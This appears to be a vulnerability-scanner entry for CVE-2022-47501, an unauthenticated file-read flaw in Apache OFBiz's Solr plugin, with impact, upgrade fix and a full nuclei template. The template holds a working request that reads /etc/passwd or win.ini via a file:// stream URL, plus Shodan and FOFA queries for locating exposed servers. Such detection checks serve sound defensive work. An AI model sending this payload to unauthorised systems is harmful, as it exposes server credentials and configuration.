Apache OFBiz < 18.12.07 - Local File Inclusion

highseverity

7.5CVSS score

10.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.

Impact

Unauthenticated attackers can read arbitrary files from the server filesystem through the Solr plugin debug endpoint in Apache OFBiz, potentially accessing configuration files, credentials, and other sensitive system information.

Fix

Upgrade to Apache OFBiz version 18.12.07 or later to mitigate this local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://{{path}}
Positive when: regex('root:.*:0:0:', body) and status_code == 200 OR contains(body, 'bit app support') and contains(body, 'fonts') and contains(body, 'extensions') and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-47501 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-47501

info:
  name: Apache OFBiz < 18.12.07 - Local File Inclusion
  author: your3cho
  severity: high
  description: |
    Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a  pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server filesystem through the Solr plugin debug endpoint in Apache OFBiz, potentially accessing configuration files, credentials, and other sensitive system information.
  remediation: |
    Upgrade to Apache OFBiz version 18.12.07 or later to mitigate this local file inclusion vulnerability.
  reference:
    - https://lists.apache.org/thread/k8s76l0whydy45bfm4b69vq0mf94p3wc
    - http://www.openwall.com/lists/oss-security/2023/04/18/5
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47501
    - http://www.openwall.com/lists/oss-security/2023/04/18/9
    - http://www.openwall.com/lists/oss-security/2023/04/19/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-47501
    cwe-id: CWE-22
    epss-score: 0.1018
    epss-percentile: 0.95702
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: ofbiz
    shodan-query:
      - "html:\"OFBiz\""
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - "app=\"Apache_OFBiz\""
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve,cve2022,apache,ofbiz,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://{{path}}"

    payloads:
      path:
        - /etc/passwd
        - c:/windows/win.ini

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from